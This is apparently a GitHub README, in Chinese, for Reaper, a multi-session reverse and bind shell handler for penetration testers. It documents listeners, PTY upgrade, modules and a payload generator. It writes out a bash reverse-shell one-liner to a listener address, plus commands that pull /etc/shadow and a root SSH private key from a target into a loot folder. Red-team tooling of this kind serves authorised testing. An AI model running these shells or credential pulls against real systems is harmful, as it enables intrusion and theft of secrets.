z3r0s6/Reaper
GitHub: z3r0s6/Reaper
Reaper 是一个为红队和渗透测试人员打造的多会话反向/绑定 Shell 处理程序,具备自动 PTY 升级、动态端口管理和模块化扩展能力。
Stars: 3 | Forks: 0
# Reaper



**Reaper** 是一个为渗透测试人员构建的多会话反向/绑定 Shell 处理程序。
## 功能
| 功能 | 详情 |
|---|---|
| **多会话** | 同时处理无限个 Shell。列出、切换和挂起会话。 |
| **多监听器** | 同时绑定到多个端口 (`-p 4444,5555,9001`)。 |
| **动态端口管理** | 运行时添加或移除端口,无需重启。 |
| **自动 PTY 升级** | Shell 自动升级为完整的 PTY,无需手动升级。 |
| **Windows 支持** | 通过 ConPtyShell 自动升级 PowerShell/CMD。 |
| **会话日志** | 每个会话自动记录日志到 `~/.reaper/logs/`。 |
| **文件上传** | 通过 TCP 将本地文件推送到目标。 |
| **文件下载** | 从目标拉取文件或整个目录。 |
| **HTTP 文件服务器** | `reaper -s ./tools` 或在提示符下使用 `serve .`。 |
| **绑定 Shell** | `reaper -c ` 向外连接到绑定 Shell。 |
| **Payload 生成** | 内置适用于 bash、python、php、perl、ruby、nc、socat、powershell 等的 payload。 |
| **模块系统** | 可通过热重载 (`reload`) 扩展的模块。 |
| **Tab 补全** | 感知上下文的命令、会话 ID、模块名称、接口、端口补全。 |
| **截图模式** | 隐藏命令,用于隐藏 IP 以便安全分享截图。 |
| **干净的信号** | `Ctrl+Z` 挂起会话。`Ctrl+C` 将 SIGINT 转发给远程。 |
## 安装
```
git clone https://github.com/z3r0s6/Reaper
cd Reaper
pipx install --editable .
```
## 使用说明
### 启动监听器
```
# 默认值: 0.0.0.0:4444
reaper
# 自定义端口
reaper -p 9001
# 启动时使用多个端口
reaper -p 4444,5555,9001
# 绑定到特定接口
reaper -i tun0 -p 4444
```
### 连接到绑定 Shell
```
reaper -c 10.10.10.50 -p 4444
```
### 通过 HTTP 提供文件服务
```
# 在 :8000 上提供当前目录
reaper -s .
# 在自定义端口上提供特定文件
reaper -s /opt/tools/linpeas.sh --serve-port 9090
```
### 显示接口的 Payload
```
reaper -a tun0
reaper -a eth0
```
### 禁用会话日志
```
reaper -L
reaper --log-dir /tmp/reaper-logs
```
### 快速测试(本地)
打开两个终端:
```
# 终端 1 启动 Reaper
reaper
# 终端 2 连接测试 shell
nc 127.0.0.1 4444
```
终端 1 中将出现一个会话。输入 `go 1` 与其进行交互。
## 工作原理
当 Shell 连接时,Reaper 会自动:
1. 将 Shell 升级为完整的 PTY
2. 通知您它已准备就绪
```
[☠] 10.10.14.5:44321 connected → #1
[✓] Shell #1 auto-upgraded to PTY.
```
只需输入 `go 1` 即可进入。
## Shell 命令
### 会话管理
| 命令 | 描述 |
|---|---|
| `ls` | 列出所有会话 |
| `go ` | 与一个会话进行交互 |
| `upgrade ` | 手动将 Shell 升级为 PTY |
| `kill ` | 终止一个会话 |
| `log ` | 显示会话的日志文件路径 |
### 端口管理
| 命令 | 描述 |
|---|---|
| `listeners` | 列出所有活跃的监听器 |
| `addport ` | 开始监听一个新端口(无需重启) |
| `rmport ` | 停止监听一个端口 |
```
reaper❯ addport 9001
[✓] Now listening on port 9001.
reaper❯ rmport 9001
[✓] Stopped listening on port 9001.
```
### Payload 生成
需要接口名称:
```
reaper❯ payloads tun0
reaper❯ payloads eth0
```
每个 Payload 的名称和命令将分行显示,方便复制:
```
════════════════════════════════════════════
☠ tun0 → 10.10.14.5:4444
────────────────────────────────────────────
[01] bash
bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
[02] python3
python3 -c 'import os,pty,socket;...'
```
### 模块
```
reaper❯ modules
reaper❯ run sysinfo 1
reaper❯ run upload 1 /local/file.sh /tmp/file.sh
reaper❯ run download 1 /etc/passwd
reaper❯ run download_dir 1 /etc
reaper❯ run linpeas 1
reaper❯ run linpeas 1 -o /tmp/output.txt
reaper❯ reload
```
### HTTP 服务器(在主菜单中)
```
reaper❯ serve /opt/tools 8888
reaper❯ serve .
reaper❯ stopserve
```
### 杂项
```
reaper❯ listeners
reaper❯ help
reaper❯ exit
```
## 快捷键(会话内)
| 按键 | 动作 |
|---|---|
| `Ctrl+Z` | 挂起会话,返回主菜单 |
| `Ctrl+C` | 向远程进程发送 SIGINT |
## Tab 补全
提示符完全感知上下文:
| 输入内容 | Tab 补全 |
|---|---|
| `go ` | 活跃会话 ID |
| `upgrade ` | 活跃会话 ID |
| `kill ` | 活跃会话 ID |
| `log ` | 活跃会话 ID |
| `run ` | 模块名称 |
| `run ` | 活跃会话 ID |
| `payloads ` | 网络接口 |
| `rmport ` | 活跃监听端口 |
| *(第一个单词)* | 所有命令 |
## 编写自定义模块
有关完整指南,请参阅 [MODULES.md](MODULES.md)。
快速示例:
```
from reaper.modules.blueprint import ReaperModule
class MyModule(ReaperModule):
name = "my_module"
description = "Does something cool."
category = "Enumeration"
platform = ["linux"]
def run(self) -> None:
result = self.exec("whoami")
self.ok(f"Running as: {result.stdout.strip()}")
```
将文件放入 `src/reaper/modules/` 并热重载:
```
reaper❯ reload
```
## 文件传输
### 上传(本地 → 远程)
```
reaper❯ run upload 1 /home/kali/tools/linpeas.sh /tmp/linpeas.sh
```
### 下载(远程 → 本地)
```
reaper❯ run download 1 /etc/shadow
reaper❯ run download 1 /root/.ssh/id_rsa ./loot/id_rsa
```
### 下载整个目录
```
reaper❯ run download_dir 1 /etc ./loot/etc.tar.gz
```
## 会话日志
日志会自动写入 `~/.reaper/logs/`:
```
session___.log
```
查找某个会话的日志路径:
```
reaper❯ log 1
[·] Session #1 log: /home/kali/.reaper/logs/session_1_10.10.14.5_20260101_120000.log
```
## 截图模式
隐藏所有 IP 地址,以便安全地分享截图或录屏。
```
reaper❯ _reaper_screenable_
[·] Screenable mode ON
```
在帮助和 Tab 补全中隐藏。
## 项目结构
```
Reaper/
├── README.md
├── MODULES.md
├── pyproject.toml
└── src/
└── reaper/
├── main.py # CLI entry point & argument parsing
├── listener.py # Core listener, session management, command loop
├── session.py # Session model, logging, RawTerminal
├── detect.py # OS auto-detection
├── cli.py # Help text
├── server.py # HTTP file server
├── models.py # CommandResult, StreamLine
├── modules/
│ ├── blueprint.py # ReaperModule base class
│ ├── loader.py # Dynamic module loader (hot-reload)
│ ├── sysinfo.py # System enumeration
│ ├── upload.py # File upload (local → remote)
│ ├── download.py # File download + directory archive
│ └── linpeas.py # LinPEAS in-memory runner
└── utils/
├── ui.py # Colors, ASCII art, notifications, spinner, boxes
├── tcp.py # TCP one-shot send/recv servers
└── payloads.py # Reverse-shell payload generator
```
标签:C2基础设施, C2框架, Netcat替代, Payload生成, PTY升级, Python, Shell处理器, 反向Shell, 命令与控制, 多会话管理, 安全学习资源, 安全攻防, 安全测试, 开源安全工具, 攻击性安全, 攻击路径可视化, 文件传输, 无后门, 红队基础设施, 绑定Shell, 网络安全, 自动化Shell升级, 逆向工程平台, 隐私保护, 黑客工具